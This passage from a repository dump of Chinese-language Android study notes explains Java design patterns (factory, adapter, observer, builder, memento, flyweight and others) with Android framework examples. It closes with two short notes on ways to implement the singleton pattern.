eatBone() {  \n\t\tSystem.out.println(\"爱吃骨头\");\n    } \n}\n```\n那么现在就可以建一个工厂类（Factory.java）来对实例类进行管理和创建了.\n\n```\npublic class Factory {\n\t//静态工厂方法\n\t//多处调用，不需要实例工厂类 \n\t public static Cat produceCat() {  \n\t        return new Cat();  \n\t    } \n\t public static Dog produceDog() {  \n\t        return new Dog();  \n\t    }\n//当然也可以一个方法，通过传入参数，switch实现\n}\n```\n使用：\n\n```\nAnimal cat = Factory.produceCat();\ncat.move();\n//-----------------------------\nDog dog = Factory.produceDog();\ndog.move();\ndog.eatBone();\n```\n　　工厂模式在业界运用十分广泛，如果都用new来生成对象，随着项目的扩展，animal还可以生出许多其他儿子来，当然儿子还有儿子，同时也避免不了对以前代码的修改（比如加入后来生出儿子的实例）,怎么管理，想着就是一团糟。\n\n```\nAnimal cat = Factory.produceCat();\n```\n   　这里实例化了Animal但不涉及到Animal的具体子类（减少了它们之间的偶合联系性），达到封装效果，也就减少错误修改的机会。\n\n　　Java面向对象的原则，封装(Encapsulation)和分派(Delegation)告诉我们：**具体事情做得越多，越容易范错误，**\n\n　　一般来说，这样的普通工厂就可以满足基本需求。但是我们如果要新增一个Animal的实现类panda，那么必然要在工厂类里新增了一个生产panda的方法。就违背了 闭包的设计原则（对扩展要开放对修改要关闭） ，于是有了抽象工厂模式。\n\n## ２.1 Abstract Factory(抽象工厂) \n\n　　抽象工厂模式提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。\n　　啥意思？就是把**生产抽象成一个接口，每个实例类都对应一个工厂类**（普通工厂只有一个工厂类），**同时所有工厂类都继承这个生产接口**。\n\n生产接口Provider：\n\n```\ninterface Provider {\n\tAnimal produce(); \n}\n```\n每个产品都有自己的工厂\nCatFactory：\n\n```\npublic class CatFactory implements Provider{\n\n\t@Override\n\tpublic Animal produce() {\n\t\t// TODO Auto-generated method stub\n\t\treturn new Cat();\n\t}\n}\n```\nDogFactory：\n\n```\npublic class DogFactory implements Provider{\n\n\t@Override\n\tpublic Animal produce() {\n\t\t// TODO Auto-generated method stub\n\t\treturn new Dog();\n\t}\n}\n```\n产品生产：\n\n```\nProvider provider = new CatFactory();\nAnimal cat =provider.produce();\ncat.move();\n```\n　　现在我们要加入panda，直接新建一个pandaFactory就行了，这样我们系统就非常灵活，具备了动态扩展功能。\n\n## ２.1 Android中的Factory\n\n　　比如AsyncTask的抽象工厂实现：\n\n工厂的抽象：\n\n```\n59　public interface ThreadFactory {\n//省略为备注\n69    Thread newThread(Runnable r);\n70 }\n```\n产品的抽象（new Runnable就是其实现类）：\n\n```\n56   public interface Runnable {\n//省略为备注\n68    public abstract void run();\n69 }\n```\nAsyncTask中工厂类的实现：\n```\n185    private static final ThreadFactory sThreadFactory = new ThreadFactory() {\n186        private final AtomicInteger mCount = new AtomicInteger(1);\n187\n188        public Thread newThread(Runnable r) {\n189            return new Thread(r, \"AsyncTask #\" + mCount.getAndIncrement());\n190        }\n191    };\n```\n   我们可以创建另外类似的工厂，生产某种专门的线程（多线程），非常容易扩展。\n当然，android中的应用还有很多（比如BitmapFactory），有兴趣的小伙伴可以去扒一扒。\n\n# 3. Adapter（适配器模式）\n   \n**将一个类的接口转换成客户希望的另外一个接口**。\n\n　　我们经常碰到要将两个没有关系的类组合在一起使用，第一解决方案是：修改各自类的接口，但是如果我们没有源代码，或者，我们不愿意为了一个应用而修改各自的接口。 怎么办?\n\n使用Adapter，在这两种接口之间创建一个混合接口。\n\n> 模式中的角色\n\n>需要适配的类（Adaptee）：需要适配的类。\n\n>适配器（Adapter）：通过包装一个需要适配的对象，把原接口转换成目标接口。\n\n>目标接口（Target）：客户所期待的接口。可以是**具体的或抽象的类，也可以是接口。**\n\n![这里写图片描述](http://img.blog.csdn.net/20160620135007144)　\n```\n// 需要适配的类 \nclass Adaptee {  \n    public void specificRequest() {  \n        System.out.println(\"需要适配的类\");  \n    }  \n}  \n  \n// 目标接口  \ninterface Target {  \n    public void request();  \n} \n```\n\n实现方式：\n\n①、对象适配器（采用对象组合方式实现）\n\n```\n// 适配器类实现标准接口\nclass Adapter implements Target{\n\t// 直接关联被适配类\n\tprivate Adaptee adaptee;\n\t\n\t// 可以通过构造函数传入具体需要适配的被适配类对象\n\tpublic Adapter (Adaptee adaptee) {\n\t\tthis.adaptee = adaptee;\n\t}\n\t\n\tpublic void request() {\n\t\t// 这里是使用委托的方式完成特殊功能\n\t\tthis.adaptee.specificRequest();\n\t}\n}\n\n// 测试类\npublic class Client {\n\tpublic static void main(String[] args) {\n\t\t// 需要先创建一个被适配类的对象作为参数\n\t\tTarget adapter = new Adapter(new Adaptee());\n\t\tadapter.request();\n\t}\n}\n```\n　　如果Target不是接口而是一个具体的类的情况，这里的Adapter直接继承Target就可以了。\n\n②、类的适配器模式（采用继承实现）\n\n```   \n// 适配器类继承了被适配类同时实现标准接口  \nclass Adapter extends Adaptee implements Target{  \n    public void request() {  \n        super.specificRequest();  \n    }  \n}  \n   \n// 测试类\n    public static void main(String[] args) {              \n        // 使用适配类  \n        Target adapter = new Adapter();  \n        adapter.request();  \n    } \n```\n　　如果Target和 Adaptee都是接口，并且都有实现类。 可以通过Adapter实现两个接口来完成适配。\n　　还有一种叫PluggableAdapters,可以动态的获取几个adapters中一个。使用Reflection技术，可以动态的发现类中的Public方法。\n\n> 优点\n\n　　系统需要使用现有的类，而此类的接口不符合系统的需要。那么通过适配器模式就可以让这些功能得到**更好的复用**。\n　　将目标类和适配者类解耦，通过引入一个适配器类重用现有的适配者类，而无需修改原有代码，**更好的扩展性**。\n\n> 缺点\n\n　　过多的使用适配器，会让系统非常零乱，不易整体进行把握。比如，明明看到调用的是A接口，其实内部被适配成了B接口的实现。如果不是必要，不要使用适配器，而是直接对系统进行重构。\n\n## ３.1 Android中的Adapter\n\n　　android中的Adapter就有很多了，这个大家都经常用。\n　　Adapter是AdapterView视图与数据之间的桥梁，Adapter提供对数据的访问，也负责为每一项数据产生一个对应的View。 \n\n> Adapter的继承结构\n\n![这里写图片描述](http://img.blog.csdn.net/20160621094155219)\n\nBaseAdapter的部分源码：\n```\n30public abstract class BaseAdapter implements ListAdapter, SpinnerAdapter {\n31    private final DataSetObservable mDataSetObservable = new DataSetObservable();\n32\n33    public boolean hasStableIds() {\n34        return false;\n35    }\n36    \n37    public void registerDataSetObserver(DataSetObserver observer) {\n38        mDataSetObservable.registerObserver(observer);\n39    }\n40\n41    public void unregisterDataSetObserver(DataSetObserver observer) {\n42        mDataSetObservable.unregisterObserver(observer);\n43    }\n```\nListAdapter, SpinnerAdapter都是Target ，数据是Adaptee ，采用对象组合方式。\n\n# 4. Chain of Responsibility（责任链模式）\n\n　　使多个对象都有机会处理请求，从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链，并沿着这条链传递该请求，直到有一个对象处理它为止。\n　　\n　　发出这个请求的客户端并不知道链上的哪一个对象最终处理这个请求，这使得系统可以在不影响客户端的情况下动态地重新组织和分配责任。　\n\n编程中的小体现：\n\n```\nif(a<10){\n    ...\n}\nelse if (a<20）{\n    ...\n}\nelse if(a<30){\n    ...\n}\nelse{\n    ...\n}\n```\n程序必须依次扫描每个分支进行判断，找到对应的分支进行处理。\n\n> 责任链模式的优点\n\n　　可以降低系统的耦合度（请求者与处理者代码分离），简化对象的相互连接，同时增强给对象指派职责的灵活性，增加新的请求处理类也很方便；\n\n> 责任链模式的缺点\n\n 　　不能保证请求一定被接收，且对于比较长的职责链，请求的处理可能涉及到多个处理对象，系统性能将受到一定影响，而且在进行代码调试时不太方便。\n　　每次都是从链头开始，这也正是链表的缺点。\n　　\n## ４.1 Android中的Chain of Responsibility\n\n　　触摸、按键等各种事件的传递\n　　\n![这里写图片描述](http://img.blog.csdn.net/20160621101505594)  \n\n有兴趣的可以看一下这篇文章[View事件分发机制源码分析](http://blog.csdn.net/Amazing7/article/details/51274481)，我这就不多说了。\n\n# 5. Observer（观察者模式）\n\n　　有时被称作发布/订阅模式，观察者模式定义了一种**一对多**的依赖关系，让多个观察者对象同时监听某一个主题对象。这个主题对象在状态发生变化时，会通知所有观察者对象，使它们能够自动更新自己。\n\n　　将一个系统分割成一个一些类相互协作的类有一个不好的副作用，那就是需要维护相关对象间的一致性。我们不希望为了维持一致性而使各类紧密耦合，这样会给维护、扩展和重用都带来不便。观察者就是解决这类的耦合关系的（依赖关系并未完全解除，抽象通知者依旧依赖抽象的观察者。）。\n\n> 观察者模式的组成\n\n①抽象主题（Subject）\n\n　　它把所有观察者对象的引用保存到一个聚集里，每个主题都可以有任何数量的观察者。抽象主题提供一个接口，可以增加和删除观察者对象。\n\n②具体主题（ConcreteSubject）\n\n　　将有关状态存入具体观察者对象；在具体主题内部状态改变时，给所有登记过的观察者发出通知。\n\n③抽象观察者（Observer）\n\n　　为所有的具体观察者定义一个接口，在得到主题通知时更新自己。\n\n④具体观察者（ConcreteObserver）\n\n　　实现抽象观察者角色所要求的更新接口，以便使本身的状态与主题状态协调。\n\n![这里写图片描述](http://img.blog.csdn.net/20160621104419553)　\n\n言语苍白，上代码：\n\n```\n//抽象观察者\npublic interface Observer\n{\n  public void update(String str);\n    \n}\n```\n\n```\n//具体观察者\npublic class ConcreteObserver implements Observer{\n\t@Override\n\tpublic void update(String str) {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(str);\n\t}\n}\n```\n\n```\n//抽象主题\npublic interface Subject\n{\n    public void addObserver(Observer observer);\n    public void removeObserver(Observer observer);\n    public void notifyObservers(String str);\n}\n```\n\n```\n//具体主题\npublic class ConcreteSubject implements Subject{\n\t// 存放观察者\n    private List<Observer> list = new ArrayList<Observer>();\n\t@Override\n\tpublic void addObserver(Observer observer) {\n\t\t// TODO Auto-generated method stub\n\t\tlist.add(observer);\n\t}\n\n\t@Override\n\tpublic void removeObserver(Observer observer) {\n\t\t// TODO Auto-generated method stub\n\t\tlist.remove(observer);\n\t}\n\n\t@Override\n\tpublic void notifyObservers(String str) {\n\t\t// TODO Auto-generated method stub\n\t\tfor(Observer observer:list){\n\t\t\tobserver.update(str);\n\t\t}\n\t}\n}\n```\n下面是测试类：\n\n```\n/**\n * @author fanrunqi\n */\npublic class Test {\n\t public static void main(String[] args) {\n\t\t//一个主题\n\t\t ConcreteSubject eatSubject = new ConcreteSubject();\n\t\t //两个观察者\n\t\t ConcreteObserver personOne = new ConcreteObserver();\n\t\t ConcreteObserver personTwo = new ConcreteObserver();\n\t\t //观察者订阅主题\n\t\t eatSubject.addObserver(personOne);\n\t\t eatSubject.addObserver(personTwo);\n\t\t \n\t\t //通知开饭了\n\t\t eatSubject.notifyObservers(\"开饭啦\");\n\t}\n}\n```\n\n> “关于代码你有什么想说的？”\n>“没有，都在代码里了”\n>“（⊙ｏ⊙）哦．．．．．”\n\n## ５.1 Android中的Observer\n\n　　观察者模式在android中运用的也比较多，最熟悉的ContentObserver。\n\n①　抽象类ContentResolver中（Subject）\n\n注册观察者：\n\n```\n1567    public final void registerContentObserver(Uri uri, boolean notifyForDescendents,\n1568            ContentObserver observer, int userHandle)\n\n```\n取消观察者：\n\n```\n1583    public final void unregisterContentObserver(ContentObserver observer) \n```\n抽象类ContentObserver中（Observer）\n\n```\n94     public void onChange(boolean selfChange) {\n95         // Do nothing.  Subclass should override.\n96     }\n\n144    public void onChange(boolean selfChange, Uri uri, int userId) {\n145        onChange(selfChange, uri);\n146    }\n\n129    public void onChange(boolean selfChange, Uri uri) {\n130        onChange(selfChange);\n131    }\n```\n  　观察特定Uri引起的数据库的变化，继而做一些相应的处理（最终都调用的第一个函数）．\n\n②　DataSetObserver，其实这个我们一直在用，只是没意识到。\n\n我们再看到BaseAdapter的部分源码：\n\n```\n37    public void registerDataSetObserver(DataSetObserver observer) {\n38        mDataSetObservable.registerObserver(observer);\n39    }\n40\n41    public void unregisterDataSetObserver(DataSetObserver observer) {\n42        mDataSetObservable.unregisterObserver(observer);\n43    }\n    \n```\n　上面两个方法分别向向BaseAdater注册、注销一个DataSetObserver实例。\n\nDataSetObserver 的源码：\n```\n24　public abstract class DataSetObserver {\n \n29    public void onChanged() {\n30        // Do nothing\n31    }\n\n38    public void onInvalidated() {\n39        // Do nothing\n40    }\n41}\n```\n　　DataSetObserver就是一个观察者，它一旦发现BaseAdapter内部数据有变量，就会通过回调方法DataSetObserver.onChanged和DataSetObserver.onInvalidated来通知DataSetObserver的实现类。\n\n# ６. Builder（建造者模式）\n　　\n　　建造者模式：是将一个复杂的对象的构建与它的表示分离（同构建不同表示），使得同样的构建过程可以创建不同的表示。\n\n> 　　一个人活到70岁以上，都会经历这样的几个阶段：婴儿，少年，青年，中年，老年。并且每个人在各个阶段肯定是不一样的，世界上不存在两个人在人生的这5个阶段的生活完全一样，但是活到70岁以上的人，都经历了这几个阶段是肯定的。实际上这是一个比较经典的建造者模式的例子了。\n\n　　将复杂的内部创建封装在内部，对于外部调用的人来说，只需要传入建造者和建造工具，对于内部是如何建造成成品的，调用者无需关心。\n\n建造者模式通常包括下面几个角色：\n\n①　Builder：一个抽象接口，用来规范产品对象的各个组成成分的建造。\n\n②　ConcreteBuilder：实现Builder接口，针对不同的商业逻辑，具体化复杂对象的各部分的创建，在建造过程完成后，提供产品的实例。\n\n③　Director：指导者，调用具体建造者来创建复杂对象的各个部分，不涉及具体产品的信息，只负责保证对象各部分完整创建或按某种顺序创建。\n\n④　Product：要创建的复杂对象。\n\n> 与抽象工厂的区别：在建造者模式里，有个指导者，由指导者来管理建造者，用户是与指导者联系的，指导者联系建造者最后得到产品。即建造模式可以强制实行一种分步骤进行的建造过程。\n\n![这里写图片描述](http://img.blog.csdn.net/20160621134142566)　\n\n\nProduct和产品的部分Part接口 \n```\n　public interface Product { }\n　public interface Part { }\n```\n\nBuilder：\n\n```\n public interface Builder { \n　　　　void buildPartOne(); \n　　　　void buildPartTwo(); \n　　\n　　　　Product getProduct(); \n　　} \n```\nConcreteBuilder:\n\n```\n//具体建造工具\n　　public class ConcreteBuilder implements Builder { \n　　　　Part partOne, partTwo; \n\n　　　　public void buildPartOne() {\n　　　　　　//具体构建代码\n　　　　}; \n　　　　public void buildPartTwo() { \n　　　　　　//具体构建代码\n　　　　}; \n　　　　 public Product getProduct() { \n　　　　　　//返回最后组装的产品\n　　　　}; \n　　}\n```\nDirector :\n\n```\n　public class Director {\n　　　　private Builder builder; \n　　\n　　　　public Director( Builder builder ) { \n　　　　　　this.builder = builder; \n　　　　} \n　　　　public void construct() { \n　　　　　　builder.buildPartOne();\n　　　　　　builder.buildPartTwo();\n　　　　} \n　　} \n\n```\n建造：\n\n```\nConcreteBuilder builder = new ConcreteBuilder();\nDirector director = new Director(builder); \n//开始各部分建造　\ndirector.construct(); \nProduct product = builder.getResult();\n```\n\n> 优点：\n\n客户端不必知道产品内部组成的细节。\n\n具体的建造者类之间是相互独立的，对系统的扩展非常有利。\n\n由于具体的建造者是独立的，因此可以对建造过程逐步细化，而不对其他的模块产生任何影响。\n\n> 使用场合：\n\n创建一些复杂的对象时，这些对象的内部组成构件间的建造**顺序是稳定**的，但是对象的内**部组成构件面临着复杂的变化**。\n\n要创建的复杂对象的算法，独立于该对象的组成部分，也独立于组成部分的装配方法时。\n\n## ６.1 Android中的Builder\n\n　android中的Dialog就使用了Builder Pattern，下面来看看AlertDialog的部分源码。\n\n```\n371    public static class Builder {\n372        private final AlertController.AlertParams P;\n373        private int mTheme;\n\n393        public Builder(Context context, int theme) {\n394            P = new AlertController.AlertParams(new ContextThemeWrapper(\n395                    context, resolveDialogTheme(context, theme)));\n396            mTheme = theme;\n397        }\n```\n　　AlertDialog的Builder 是一个静态内部类，没有定义Builder 的抽象接口。\n　　对AlertDialog设置的属性会保存在Build类的成员变量P（AlertController.AlertParams）中。\n\nBuilder类中部分方法：\n\n```\n416        public Builder setTitle(int titleId) {\n417            P.mTitle = P.mContext.getText(titleId);\n418            return this;\n419        }\n```\n\n```\n452        public Builder setMessage(int messageId) {\n453            P.mMessage = P.mContext.getText(messageId);\n454            return this;\n455        }\n        \n```\n\n```\n525        public Builder setPositiveButton(CharSequence text, final OnClickListener listener) {\n526            P.mPositiveButtonText = text;\n527            P.mPositiveButtonListener = listener;\n528            return this;\n529        }\n```\n而show()方法会返回一个结合上面设置的dialog实例\n\n```\n991        public AlertDialog show() {\n992            AlertDialog dialog = create();\n993            dialog.show();\n994            return dialog;\n995        }\n996    }\n997    \n998}\n```\n\n```\n972        public AlertDialog create() {\n973            final AlertDialog dialog = new AlertDialog(P.mContext, mTheme, false);\n974            P.apply(dialog.mAlert);\n975            dialog.setCancelable(P.mCancelable);\n976            if (P.mCancelable) {\n977                dialog.setCanceledOnTouchOutside(true);\n978            }\n979            dialog.setOnCancelListener(P.mOnCancelListener);\n980            dialog.setOnDismissListener(P.mOnDismissListener);\n981            if (P.mOnKeyListener != null) {\n982                dialog.setOnKeyListener(P.mOnKeyListener);\n983            }\n984            return dialog;\n985        }\n```\n\n简单建造：\n\n```\nnew AlertDialog.Builder(context)\n .setTitle(\"标题\") \n .setMessage(\"消息框\")\n .setPositiveButton(\"确定\", null)\n .show();\n```\n# ７. Memento（备忘录模式）\n\n　　备忘录模式又叫做快照模式(Snapshot Pattern)或Token模式，是对象的行为模式。\n\n　　备忘录对象是一个用来存储另外一个对象内部状态的快照的对象。备忘录模式的用意是在不破坏封装的条件下，将一个对象的状态捕捉(Capture)住，并外部化，存储起来，从而可以在将来合适的时候把这个对象还原到存储起来的状态。备忘录模式常常与命令模式和迭代子模式一同使用。\n\n备忘录模式所涉及的角色有三个：\n\n①　Originator(发起人):　负责创建一个备忘录Memento，用以记录当前时刻它的内部状态，并可使用备忘录恢复内部状态。Originator可根据需要决定Memento存储Originator的哪些内部状态。　\n\n②　Memento(备忘录):　负责存储Originnator对象的内部状态，并可防止Originator以外的其他对象访问备忘录Memento，备忘录有两个接口，Caretaker只能看到备忘录的窄接口，它只能将备忘录传递给其他对象。\n\n③、　Caretaker(管理者):负责保存好备忘录Memento，不能对备忘录的内容进行操作或检查。\n\n　![这里写图片描述](http://img.blog.csdn.net/20160621134142566)　\n\n```\npublic class Originator {\n\n    private String state;\n    /**\n     * 工厂方法，返回一个新的备忘录对象\n     */\n    public Memento createMemento(){\n        return new Memento(state);\n    }\n    /**\n     * 将发起人恢复到备忘录对象所记载的状态\n     */\n    public void restoreMemento(Memento memento){\n        this.state = memento.getState();\n    }\n    \n    public String getState() {\n        return state;\n    }\n    \n    public void setState(String state) {\n        this.state = state;\n        System.out.println(\"当前状态：\" + this.state);\n    }\n    \n}\n```\n\n```\npublic class Memento {\n    \n    private String state;\n    \n    public Memento(String state){\n        this.state = state;\n    }\n\n    public String getState() {\n        return state;\n    }\n\n    public void setState(String state) {\n        this.state = state;\n    }\n    \n}\n```\n\n```\npublic class Caretaker {\n\n    private Memento memento;\n    /**\n     * 备忘录的取值方法\n     */\n    public Memento retrieveMemento(){\n        return this.memento;\n    }\n    /**\n     * 备忘录的赋值方法\n     */\n    public void saveMemento(Memento memento){\n        this.memento = memento;\n    }\n}\n```\n\n使用：\n\n```\nOriginator o = new Originator();\nCaretaker c = new Caretaker();\n//改变负责人对象的状态\no.setState(\"On\");\n//创建备忘录对象，并将发起人对象的状态储存起来\n c.saveMemento(o.createMemento());\n//修改发起人的状态\no.setState(\"Off\");\n//恢复发起人对象的状态\n o.restoreMemento(c.retrieveMemento());\n```\n不需要了解对象的内部结构的情况下备份对象的状态，方便以后恢复。\n\n## ７.1 Android中的Memento\n\n　　Activity的onSaveInstanceState和onRestoreInstanceState就是通过Bundle（相当于备忘录对象）这种序列化的数据结构来存储Activity的状态，至于其中存储的数据结构，这两个方法不用关心。\n\n还是看一下源码：\n\n```\n1365    protected void onSaveInstanceState(Bundle outState) {\n1366        outState.putBundle(WINDOW_HIERARCHY_TAG, mWindow.saveHierarchyState());\n1367        Parcelable p = mFragments.saveAllState();\n1368        if (p != null) {\n1369            outState.putParcelable(FRAGMENTS_TAG, p);\n1370        }\n1371        getApplication().dispatchActivitySaveInstanceState(this, outState);\n1372    }\n```\n\n```\n1019    protected void onRestoreInstanceState(Bundle savedInstanceState) {\n1020        if (mWindow != null) {\n1021            Bundle windowState = savedInstanceState.getBundle(WINDOW_HIERARCHY_TAG);\n1022            if (windowState != null) {\n1023                mWindow.restoreHierarchyState(windowState);\n1024            }\n1025        }\n1026    }\n```\n## ８. Prototype（原型模式）\n\n　　原型模式，能快速克隆出一个与已经存在对象类似的另外一个我们想要的新对象。\n　　工作原理是：通过将一个原型对象传给那个要发动创建的对象，这个要发动创建的对象通过请求原型对象拷贝它们自己来实施创建。\n\n　　分为深拷贝和浅拷贝。深拷贝就是把对象里面的引用的对象也要拷贝一份新的对象，并将这个新的引用对象作为拷贝的对象引用（多读两遍）。\n\n　一般使用原型模式有个明显的特点，就是实现cloneable的clone()方法。\n\n在Intent源码中：\n```\n4084    @Override\n4085    public Object clone() {\n4086        return new Intent(this);\n4087    }\n```\n这里Intent通过实现Cloneable接口来实现原型拷贝。\n\n## ９. Strategy（策略模式）\n　　\n　　定义：有一系列的算法，将每个算法封装起来（每个算法可以封装到不同的类中），各个算法之间可以替换，策略模式让算法独立于使用它的客户而独立变化。\n\n　　举例：\n　　一个影碟机，你往里面插什么碟子，就能放出什么电影。\n　　属性动画，设置不同的插值器对象，就可以得到不同的变化曲线。\n　　返回值解析，传入什么样的解析器，就可以把二进制数据转换成什么格式的数据，比如String、Json、XML。\n\n　　策略模式其实就是多态的一个淋漓精致的体现。\n\n在android中不同Animation动画的实现，主要是依靠Interpolator的不同而实现的。\n\n```\n401     public void setInterpolator(Interpolator i) {\n402         mInterpolator = i;\n403     }\n```\n## 10. Template（模板模式）\n\n 　　定义：定义一个操作中的算法框架，而将一些步骤延迟到子类中，使得子类可以不改变一个算法的结构即可重定义该算法的某些特定的步骤。\n 　　\n 　　**实现流程已经确定，实现细节由子类完成**。\n 　　\n 　　生命周期对于我们都不陌生，它就是典型的Template模式，在具体流程确定的情况下，至于我们要复写生命周期那些方法，实现那些功能由继承activity的子类去具体实现。 \n\n 　　关键在于必须有具体的执行流程，比如AsyncTask。\n\n## 11. Proxy（代理模式）\n\n　　定义：为其他对象提供一种代理以控制对这个对象的访问。\n　　代理： 在出发点到目的地之间有一道中间层。\n\n   应用：Android跨进程通信方式 ，建议去了解一下Binder机制。\n\n## 12. Interpreter（解释器模式）\n\n　　定义语言的文法，并且建立一个解释器来解释该语言中的句子。\n\n比如Android中通过PackageManagerService来解析AndroidManifest.xml中定义的Activity、service等属性。\n\n## 13. State（状态模式）\n\n　　行为是由状态来决定的，不同状态下有不同行为。\n\n　　注意：状态模式的行为是平行的、不可替换的，策略模式的行为是彼此独立可相互替换的。 \n\n　　体现：不同的状态执行不同的行为，当WIFI开启时，自动扫描周围的接入点，然后以列表的形式展示；当wifi关闭时则清空。\n\n## 1４. Command（命令模式）\n\n　　我们有很多命令，把它们放在一个下拉菜单中，用户通过先选择菜单再选择具体命令，这就是Command模式。\n\n　　本来用户(调用者)是直接调用这些命令的，在菜单上打开文档，就直接指向打开文档的代码，使用Command模式，就是在这两者之间增加一个中间者，将这种直接关系拗断，同时两者之间都隔离,基本没有关系了。\n　　\n　　显然这样做的好处是符合封装的特性，降低耦合度，有利于代码的健壮性 可维护性 还有复用性。Command是将对行为进行封装的典型模式，Factory是将创建进行封装的模式。\n\n　　android底层逻辑对事件的转发处理就用到了Command模式。\n\n## 15. Iterator（迭代模式）\n\n　　提供一种方法顺序访问一个容器对象中的各个元素，而不需要暴露该对象的内部表示。\n\n应用：\n\n在Java中的Iterator类。\n\n  Android中的 Cursor。\n\n```\ncursor.moveToFirst();\n```\n\n## 16. Composite（组合模式）　　\n\n 　　将对象以树形结构组织起来，以达成“部分－整体” 的层次结构，使得客户端对单个对象和组合对象的使用具有一致性。\n\n　　Android中View的结构是树形结构，每个ViewGroup包含一系列的View，而ViewGroup本身又是View。这是Android中非常典型的组合模式。\n　　\n## 17. Flyweight（共享模式/享元模式）　  \n\n　　定义：避免大量拥有相同内容的小类的开销(如耗费内存)，使大家共享一个类(元类)。\n\n　　面向对象语言的原则就是一切都是对象，但是如果真正使用起来，有时对象数可能显得很庞大，比如，字处理软件，如果以每个文字都作为一个对象，几千个字，对象数就是几千，无疑耗费内存，那么我们还是要\"求同存异\"，找出这些对象群的共同点，设计一个元类，封装可以被共享的类，另外，还有一些特性是取决于应用(context)，是不可共享的，这也Flyweight中两个重要概念内部状态intrinsic和外部状态extrinsic之分。\n\n说白点，就是先捏一个的原始模型，然后随着不同场合和环境，再产生各具特征的具体模型，很显然，在这里需要产生不同的新对象，所以Flyweight模式中常出现Factory模式。Flyweight的内部状态是用来共享的，Flyweight factory负责维护一个Flyweight pool(模式池)来存放内部状态的对象。\n\nFlyweight模式是一个提高程序效率和性能的模式，会大大加快程序的运行速度。应用场合很多：比如你要从一个数据库中读取一系列字符串，这些字符串中有许多是重复的，那么我们可以将这些字符串储存在Flyweight池(pool)中。   \n\n\n　　在Android线程通信中，每次获取Message时调Message.obtain()其实就是从消息池中取出可重复使用的消息，避免产生大量的Message对象。\n　　\n## 最后\n\n\n> 那么问题来了，什么是设计模式？\n\n\n![这里写图片描述](http://img.blog.csdn.net/20160621150602180)\n\n> 设计模式是前辈、大牛在实际编程中对遇到的问题解决方案的抽象。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/设计模式相关/单例模式.md",
    "content": "#单例模式\n\n> 单例模式，顾名思义，就是我们的代码中只实例化出一个对象，就是单例模式，有的人说，为什么用单例模式啊，这个很简单，因为有一些时候，不是所有的对象都可以被实例化多次的，因为，无论是内存空间的大小，和逻辑关系上面都是不允许的，举个最简单的例子，有一件事情，需要皇上去做，但是由于客观事实的要求，我们只能有且只有一个皇上，所以这个时候一定要控制，对象数量的个数，不能够超过1，以下我会为大家介绍单例模式怎么实现。\n\n单例模式，比较重要的应用是，我们可以确保我们的线程安全，因为如果我们用多个对象来操作我们的线程池的时候是很为危险的。\n\n单例模式，同时又会分为饿汉模式，和懒汉模式，他们有一点不同，饿汉模式是在初始化类的时候，就把对象声明好，而懒汉模式，则是在调用的时候再去声明这个对象，不过他们起到的效果是一样的，就是都能确保对象的唯一性。\n\n饿汉模式:\n````\n\npublic class Singleton {\n\tprivate Singleton() {\n\t}\n\tprivate static Singleton iSingleton = new Singleton();\n\tpublic static Singleton getInstance() {\n\t\treturn iSingleton;\n\t}\n}\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tSingleton aSingleton = Singleton.getInstance();\n\t\tSingleton bSingleton = Singleton.getInstance();\n\t\tif (aSingleton==bSingleton) {\n\t\t\tSystem.out.println(true);\n\t\t}else {\n\t\t\tSystem.out.println(false);\n\t\t}\n\t}\n}\n\n````\n\n当我们将构造方法，变成私有之后，便不能够再通过new的方法来创造对象了，但是我们有暴露一个接口，让用户来获取我们已经写好了对象，这样就能够确保我们所有用到的所有的对象，都是同一个对象了，当然我还加上了测试，当然最终的结果肯定是true了。\n\n----\n\n懒汉模式：\n> 懒汉模式和饿汉模式不同的仅仅是，当第一个人访问这个对象的时候，这个对象是不存在的，只需要新建一个这个对象就可以了。\n\n````\n\npublic class Singleton2 {\n\tprivate Singleton2() {\n\t}\n\tprivate static Singleton2 singleton2;\n\tpublic static Singleton2 getInstance() {\n\t\tif (singleton2 == null) {\n\t\t\tsingleton2 = new Singleton2();\n\t\t}\n\t\treturn singleton2;\n\t}\n}\n\n````\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/设计模式相关/单例模式的四种实现方式.md",
    "content": "# 单例模式的四种实现方式\n\n> 原本单纯的我一直认为这世界上的单例模式，只有饿汉和懒汉呢，今天发现了，原来单例模式有四种实现方式。\n\n\n## 饿汉模式\n\n```\npublic class Singleton {\n\t/**\n\t * 饿汉式\n\t */\n\tprivate Singleton() {\n\n\t}\n\t\n\tprivate static final Singleton SINGLETON = new Singleton();\n\t\n\tpublic static Singleton getInstance(){\n\t\treturn SINGLETON;\n\t}\n\t\n\tpublic void system(){\n\t\tSystem.out.println(\"---lin---> singleton\");\n\t}\n\t\n}\n\n```\n\n## 懒汉模式\n\n```\npublic class Singleton2 {\n\t/**\n\t * 懒汉式\n\t */\n\tprivate Singleton2() {\n\n\t}\n\n\tprivate static Singleton2 singleton2 = null;\n\n\tpublic static Singleton2 getInstance() {\n\t\tif (singleton2 == null) {\n\t\t\tsynchronized (Singleton.class) {\n\t\t\t\tif (singleton2 == null) {\n\t\t\t\t\tsingleton2 = new Singleton2();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn singleton2;\n\t}\n\n\tpublic void system(){\n\t\tSystem.out.println(\"---lin---> singleton2\");\n\t}\n}\n\n```\n\n## 枚举模式\n\n```\npublic enum Singleton3 {\n\tINSTANCE;\n\tprivate Singleton3(){\n\t\t\n\t}\n\t\n\tpublic void system(){\n\t\tSystem.out.println(\"---lin---> singleton3\");\n\t}\n}\n\n```\n\n## Holder模式\n\n```\npublic class Singleton4 {\n\t/**\n\t * 带有Holder的方式\n\t * 类级内部类，也就是静态的成员内部类，该内部类的实例与外部类的实例没有绑定关系\n\t * 只有被调用的时候才会装在，从而实现了延迟加载\n\t */\n\tprivate Singleton4() {\n\n\t}\n\n\tprivate static class SingletonHolder {\n\t\t/**\n\t\t * 静态初始化器，由JVM来保证线程安全\n\t\t */\n\t\tpublic static final Singleton4 INSTANCE = new Singleton4();\n\t}\n\n\tpublic static Singleton4 getInstance() {\n\t\treturn SingletonHolder.INSTANCE;\n\t}\n\n\tpublic void system() {\n\t\tSystem.out.println(\"---lin---> singleton4\");\n\t}\n}\n```\n\n"
  },
